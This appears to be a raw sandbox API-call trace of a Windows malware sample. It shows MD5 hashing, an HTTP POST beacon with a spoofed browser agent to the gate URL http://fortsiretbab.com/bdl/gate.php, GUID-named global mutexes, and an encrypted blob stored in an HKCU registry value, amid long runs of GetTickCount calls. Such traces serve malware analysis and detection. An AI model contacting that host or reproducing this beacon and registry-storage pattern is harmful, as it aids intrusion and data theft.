0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.799] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.800] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.801] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] GetTickCount () returned 0x23dab [0115.802] CryptAcquireContextW (in: phProv=0x2a7f46c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2a7f46c*=0x892840) returned 1 [0115.802] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2a7f468 | out: phHash=0x2a7f468) returned 1 [0115.802] CryptHashData (hHash=0x85b1a0, pbData=0x8b6e10, dwDataLen=0x2ae, dwFlags=0x0) returned 1 [0115.802] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8b6e00, pdwDataLen=0x2a7f464, dwFlags=0x0 | out: pbData=0x8b6e00, pdwDataLen=0x2a7f464) returned 1 [0115.802] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.802] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.802] InternetCrackUrlA (in: lpszUrl="http://fortsiretbab.com/bdl/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x2a7f558 | out: lpUrlComponents=0x2a7f558) returned 1 [0115.803] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0115.803] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0115.803] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0115.803] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0115.803] InternetConnectA (hInternet=0xcc0004, lpszServerName="fortsiretbab.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0115.803] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/bdl/gate.php", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc000c [0115.803] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x8b6de0*, dwOptionalLength=0x2de | out: lpOptional=0x8b6de0*) returned 1 [0116.241] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2a7f5ac, lpdwBufferLength=0x2a7f5a8, lpdwIndex=0x0 | out: lpBuffer=0x2a7f5ac*, lpdwBufferLength=0x2a7f5a8*=0x4, lpdwIndex=0x0) returned 1 [0116.241] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0116.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b40048, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x2a7f5b0 | out: lpBuffer=0x2b40048*, lpdwNumberOfBytesRead=0x2a7f5b0*=0x410) returned 1 [0116.244] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0116.244] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b40458, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x2a7f5b0 | out: lpBuffer=0x2b40458*, lpdwNumberOfBytesRead=0x2a7f5b0*=0x0) returned 1 [0116.245] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0116.245] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x2a7f5c4, lpdwBufferLength=0x2a7f5c0 | out: lpBuffer=0x2a7f5c4, lpdwBufferLength=0x2a7f5c0) returned 1 [0116.245] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0116.245] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0116.245] CryptAcquireContextW (in: phProv=0x2a7f498, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2a7f498*=0x892a60) returned 1 [0116.246] CryptCreateHash (in: hProv=0x892a60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2a7f494 | out: phHash=0x2a7f494) returned 1 [0116.246] CryptHashData (hHash=0x85b220, pbData=0x2b40078, dwDataLen=0x10, dwFlags=0x0) returned 1 [0116.246] CryptGetHashParam (in: hHash=0x85b220, dwParam=0x2, pbData=0x2a7f4c0, pdwDataLen=0x2a7f490, dwFlags=0x0 | out: pbData=0x2a7f4c0, pdwDataLen=0x2a7f490) returned 1 [0116.246] CryptDestroyHash (hHash=0x85b220) returned 1 [0116.246] CryptReleaseContext (hProv=0x892a60, dwFlags=0x0) returned 1 [0116.246] ReleaseMutex (hMutex=0x314) returned 1 [0116.246] CloseHandle (hObject=0x314) returned 1 Thread: id = 176 os_tid = 0x8f8 [0115.804] StringFromGUID2 (in: rguid=0x2d8f328*(Data1=0xb7c3f14a, Data2=0x42a0, Data3=0xdf3, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2d8faa2, cchMax=40 | out: lpsz="{B7C3F14A-42A0-0DF3-65D9-FE61A0417768}") returned 39 [0115.804] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{B7C3F14A-42A0-0DF3-65D9-FE61A0417768}") returned 0x43c [0115.804] WaitForSingleObject (hHandle=0x43c, dwMilliseconds=0x1) returned 0x0 [0115.804] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x440 [0115.804] WaitForSingleObject (hHandle=0x440, dwMilliseconds=0xffffffff) returned 0x0 [0115.804] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x2d8ef2c | out: phkResult=0x2d8ef2c*=0x444) returned 0x0 [0115.805] RegQueryValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2d8f1f8, lpData=0x0, lpcbData=0x2d8ef28*=0x0 | out: lpType=0x2d8f1f8*=0x3, lpData=0x0, lpcbData=0x2d8ef28*=0x1b8f) returned 0x0 [0115.805] RegQueryValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x2d8f1f8, lpData=0x8cf6c8, lpcbData=0x2d8ef28*=0x1b8f | out: lpType=0x2d8f1f8*=0x3, lpData=0x8cf6c8*, lpcbData=0x2d8ef28*=0x1b8f) returned 0x0 [0115.805] RegCloseKey (hKey=0x444) returned 0x0 [0115.805] CryptAcquireContextW (in: phProv=0x2d8eda8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2d8eda8*=0x892a60) returned 1 [0115.805] CryptCreateHash (in: hProv=0x892a60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2d8eda4 | out: phHash=0x2d8eda4) returned 1 [0115.805] CryptHashData (hHash=0x85b1e0, pbData=0x8cf6f8, dwDataLen=0x1b5f, dwFlags=0x0) returned 1 [0115.805] CryptGetHashParam (in: hHash=0x85b1e0, dwParam=0x2, pbData=0x2d8edd0, pdwDataLen=0x2d8eda0, dwFlags=0x0 | out: pbData=0x2d8edd0, pdwDataLen=0x2d8eda0) returned 1 [0115.805] CryptDestroyHash (hHash=0x85b1e0) returned 1 [0115.805] CryptReleaseContext (hProv=0x892a60, dwFlags=0x0) returned 1 [0115.805] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dab [0115.806] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.807] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.808] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.809] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] GetTickCount () returned 0x23dba [0115.810] CryptAcquireContextW (in: phProv=0x2d8eda4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x2d8eda4*=0x892a60) returned 1 [0115.810] CryptCreateHash (in: hProv=0x892a60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x2d8eda0 | out: phHash=0x2d8eda0) returned 1 [0115.810] CryptHashData (hHash=0x85b1e0, pbData=0x8e1358, dwDataLen=0x1b5f, dwFlags=0x0) returned 1 [0115.810] CryptGetHashParam (in: hHash=0x85b1e0, dwParam=0x2, pbData=0x8e1348, pdwDataLen=0x2d8ed9c, dwFlags=0x0 | out: pbData=0x8e1348, pdwDataLen=0x2d8ed9c) returned 1 [0115.810] CryptDestroyHash (hHash=0x85b1e0) returned 1 [0115.810] CryptReleaseContext (hProv=0x892a60, dwFlags=0x0) returned 1 [0115.810] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x2d8ef5c, lpdwDisposition=0x0 | out: phkResult=0x2d8ef5c*=0x444, lpdwDisposition=0x0) returned 0x0 [0115.810] RegSetValueExW (in: hKey=0x444, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8e1328*, 